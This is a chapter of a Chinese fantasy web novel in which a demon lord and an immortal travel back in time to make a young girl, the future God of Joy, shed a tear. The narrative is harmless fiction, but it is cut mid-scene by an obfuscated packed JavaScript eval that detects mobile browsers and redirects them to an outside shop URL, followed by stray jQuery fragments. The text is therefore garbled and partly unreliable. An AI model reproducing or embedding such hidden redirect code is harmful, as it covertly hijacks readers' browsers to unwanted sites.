48. 048

作品:《我把白月光绑回魔宫了

    庙宇内寂静无声,只有聚泪葫芦不甘的嗡鸣渐渐平息,留下更深的谜团。


    喜神不会哭,无泪之城无人能哭,那情泪从何而来?


    云岫眉头紧锁,清俊的脸上满是思索之色:“若要令喜神落泪,必先使其魂魄完整,感知悲喜。


    可她喜魄已散入全城愿力,与这数百年的信仰交织融合,几乎成为法则的一部分,如何能轻易找回?”


    这近乎是一个无解的难题,牵涉到时空与愿力的根本,纵是仙法玄妙,也觉棘手。


    “呵,你们仙道中人就是迂腐。”


    勐仑突然嗤笑一声,赤瞳中闪烁着不羁的光芒,“既然现在的她无泪可流,那便回到过去,在她还是凡人、喜魄尚在之时,取她一滴眼泪不就行了?”


    “逆转时空?!”云岫闻言,着实吓了一跳,脸色都严肃了几分,“尊上不可,此乃干涉天道运行之大忌!


    稍有不慎,便会引动时空乱流,因果反噬,轻则修为尽毁,重则身死道消,甚至可能扰乱历史长河,酿成无可挽回的大祸。


    古籍中记载,上古时期曾有金仙试图篡改过去,最终导致一方小世界彻底崩塌湮灭。此法绝不可行!”


    勐仑却浑不在意地摆摆手:“谁说我们要改变历史了?本尊对拯救这破城或是改变那喜神的命运没半点兴趣。


    我们只是时空的过客,如同看戏之人,悄悄潜入后台,取一件无关紧要的小道具,一滴微不足道的眼泪,然后立刻离开。不触碰重大因果,不改变既定的历史轨迹,天道岂会那般小气?”


    她这番歪理邪说,将窃取凡人眼泪说得如同摘花拈草般轻松,听得云岫一阵无语,却又一时找不到足够有力的理由来完全反驳。


    毕竟,理论上若只是极其微小且不产生后续影响的干预,或许……或许真的有一线可能?


    见云岫神色动摇,勐仑趁热打铁,指了指仍在微微发亮的指引石:“况且,是这东西指引我们来此,它对这里反应如此剧烈,这里绝对能取得情泪。


    再说了,本尊这葫芦本身就是一件能稳定通道、规避部分反噬的异宝。风险虽有,但值得一试。难道你不想知道真相,不想完成任务了?”


    云岫看着那聚泪葫芦,又看看勐仑跃跃欲试的模样,深知她决定的事自己多半阻止不了,与其让她乱来,不如在一旁看着,或许还能及时控制局面。


    他最终无奈地叹了口气:“……罢了,便依你所言。但务必谨记,只取泪,不涉因果,拿到即刻返回!”


    “放心。”勐仑唇角一勾,露出一个势在必得的笑容。


    一旁的琵琶精听得云里雾里,但对“喜神大人”的关切压倒了一切。


    她怯生生地开口:“两位……若真要寻昔日的喜神大人,小妖这里或许有物可助。”


    她小心翼翼地从贴身的衣袋里取出一个小小的、褪色的香囊,针脚细密,却已十分陈旧。


    “这是喜神大人年少时随身佩戴的香囊,里面或许还残留着她的一丝气息……应能助两位在时空乱流中,更精准地定位到她。”


    勐仑接过那尚带着一丝淡淡草木清香的旧香囊,点了点头:“还算有点用处。”


    两人不再耽搁。勐仑手握香囊,催动聚泪葫芦,云岫则运转仙元护住二人周身。


    一股磅礴的时空之力自葫芦中涌出,撕裂开一道仅容两人通过的、光怪陆离的通道。两人身影一闪,投入其中。


    短暂的眩晕与光怪陆离的景象飞速掠过。


    待他们稳住身形,发现自己已然身处五百年前的嘉元城。


    此时的城池,远非日后那般金光笼罩、虚假欢腾,也非幻象中洪水过后那般死寂绝望。它只是一座寻常的、充满生活气息的江南小城。


    青石板路湿润洁净,白墙黛瓦,小桥流水,舟船往来。市井喧嚣,叫卖声、讨价还价声、孩童嬉闹声交织,充满了鲜活真实的烟火气。


    洪水尚未至,瘟疫更是遥远未来的阴影。


    根据香囊的微弱指引,他们很快在城西一条安静的小巷里,找到了一户挂着“李”姓灯笼的朴素人家。


    院门虚掩着,隐约能听到里面传来的说话声。一个穿着半旧儒衫、面容清癯的中年男子,正是少女喜神的父亲,李夫子,他正对坐在院中石凳上的少女温言道:“……阿囡,为人当明理义,知善恶,常怀悲悯之心。见他人苦楚,当思己所能及,此乃立身之本。”


    他语气谆谆,透着教书先生特有的严肃与关切。


    而那少女,约莫十五六岁年纪,穿着一身淡青色的襦裙,正低头专注地缝补着一件衣物。


    她眉眼已能看出日后清秀的轮廓,只是脸颊还带着些许稚嫩的圆润。她听得认真,不时点头,但眉宇间似乎总笼着一层极淡的、与她年龄不符的轻愁。


    一个系着围裙、面容慈和的妇人李夫人从厨房端着一盘刚蒸好的糕点出来,听到丈夫的话,嗔怪道:“哎呀,老头子,整天跟女儿讲这些大道理,孩子家家的,哪能时时绷着?阿囡,别听你爹的,多笑笑,开开心心的才好!来,尝尝娘刚做的桂花糕甜不甜。”


    她将糕点递到女儿嘴边,眼中满是宠爱。


    少女抬起头,接过糕点,对着母亲露出一个乖巧的笑容:“谢谢娘。”


    那笑容干净,却似乎少了几分这个年纪应有的烂漫飞扬。


    勐仑和云岫隐去身形,站在院外看着这一幕。


    “看来,这未来的喜神,从小就被教导要明大义、怀悲悯,却又被期望要常怀喜悦。”云岫轻声道。


    勐仑赤瞳眯起:“管她什么教导,能哭就行。”她打量了一下四周,瞬间有了主意,“看本尊的。”


    她身形一晃,化作一道微不可查的黑光,再出现时,已是一只通体乌黑、唯有四爪雪白、眼睛如同琉璃般清澈漂亮的小狸奴。


    它悄无声息地溜进小院,迈着优雅的步子,凑到那少女脚边,用毛茸茸的脑袋亲昵地蹭了蹭她的裙角,发出娇憨的“喵呜”声。


    少女果然被吸引了注意力,低头看到这不知从哪来的漂亮小猫,眼中闪过一丝惊喜。她放下手中的针线,小心翼翼地将小狸奴抱到膝上,轻轻抚摸它光滑的皮毛。


    小黑猫极其配合,甚至翻过身,露出柔软的肚皮,爪子在空中软软地蹬着,逗得少女终于忍不住,“噗嗤”一声笑了出来。


    那笑声清越,如同春风吹动檐角风铃,脸上的轻愁瞬间被驱散,眉眼弯弯,唇红齿白,当真如春花初绽,明媚照人。她笑得开心,挠着小猫的下巴,玩得不亦乐乎。


    隐在一旁的云岫看着少女纯真的笑颜,再想到她日后悲壮的结局,心中不禁微微一叹。


    勐仑所化的小狸奴卖力表演,试图用极致的痒痒和可爱让她笑出眼泪。


    少女确实笑得很开心,眼角都笑出了细细的褶皱,但离流泪还差得远。


    就在这时,隔壁几个玩耍的孩童被笑声吸引,扒在院门框上好奇地张望,看到可爱的小猫,立刻欢呼着跑进来围观。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241662|197763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    一个虎头虎脑的小男孩还从口袋里掏出一小块鱼干,小心翼翼地递给小猫:“咪咪,给你吃!”


    小猫(勐仑):“……”计划被打断。


    少女笑着谢过孩子们,看着小猫乖巧地吃掉鱼干,心情愈发愉悦,却依旧没有半滴眼泪。


    第一个计划,失败。


    勐仑所化的小狸奴吃完鱼干,假装受惊,“嗖”地一下窜出院子,消失在巷角。片刻后,她恢复人形,脸色不太好看。


    “笑不行,那就让她哭!”勐仑发狠道。她目光扫过巷口一块略微松动的青石板,指尖微弹,一丝魔气悄无声息地没入石下。


    过了一会儿,少女李囡囡被母亲吩咐去街口买些丝线。


    她脚步轻快地走出家门,刚走到那块青石板处,脚下一滑,“哎哟”一声,看似扭到了脚踝,身子一歪,竟好巧不巧地跌入了旁边一个被荒草半遮掩的空洞里!


    那空洞不算深,但底部有些积水污泥。少女跌坐其中,裙摆沾湿,脚踝处传来一阵疼痛,自然是勐仑用微末魔气模拟的,她吓了一跳,眼中瞬间涌上了惊慌和无助,眼眶微微发红。


    隐在暗处的勐仑心中一喜:快了!


    然而,还不等少女的眼泪酝酿出来,附近的住户听到动静,立刻赶了过来。


    “哎呀!这不是李夫子的闺女吗?怎么掉坑里了!”一个健硕的大婶惊呼道。


    “快!快搭把手!小心点拉上来!”


    “扭到脚了?别怕别怕,张大叔以前做过跌打郎中,让他瞧瞧!”


    “这哪个天杀的挖的坑也不填好!回头就找里正说道去!”


    人们七手八脚,小心翼翼地将少女从陷阱里拉了上来,语气关切,动作温柔。


    有人递来清水手帕让她擦拭,那位自称懂跌打的大叔仔细检查了她的“伤处”,安慰说只是稍稍扭了一下,并无大碍,还送上了自家泡的药酒。


    最后,一个憨厚的货郎主动提出用自己的独轮车推她回家。


    少女看着周围一张张关切热情的脸庞,眼中的惊慌早已被感动取代,那点微弱的泪意早就消失无踪,只剩下连连的道谢和不好意思的笑容。


    第二个计划,再次失败。


    云岫看着眼前这温馨互助的一幕,再联想到幻象中洪水瘟疫时,赵城主虽最终决定焚城却也痛苦不堪,以及更早之前,全城百姓在绝望中仍试图相互扶持的场景,他不禁轻声感叹,语气复杂:


    “我现在有些明白,她为何最终愿意牺牲自己,拯救这座城了。”


    “并非仅仅因为父亲的教诲,或许更是因为……她从小就是在这样的嘉元城里长大的。她得到过这么多人的善意和帮助,这座城给予她的温情,早已融入她的骨血。所以当城面临灭顶之灾时,她才会毫不犹豫地选择用自己的方式去回报。”


    勐仑冷哼一声,显然对这种“温情脉脉”的戏码不感冒,正琢磨着是不是要搞个更大的动静,比如弄条无毒的蛇丢过去……


    就在这时,那坐在独轮车上、被众人护送着回家的少女李囡囡,却忽然转过头,目光精准地越过人群,落在了隐去身形的勐仑和云岫所在的方向。


    她脸上依旧带着被帮助后的羞涩与感激的笑容,但那双清澈的眼眸深处,却闪过一丝与年龄不符的了然和探究。


    在周围嘈杂的关心声中,她唇角微扬,声音不大,却清晰地穿过时空,落入两人耳中,带着一丝奇异的笑意:


    “你们……是后世之人?”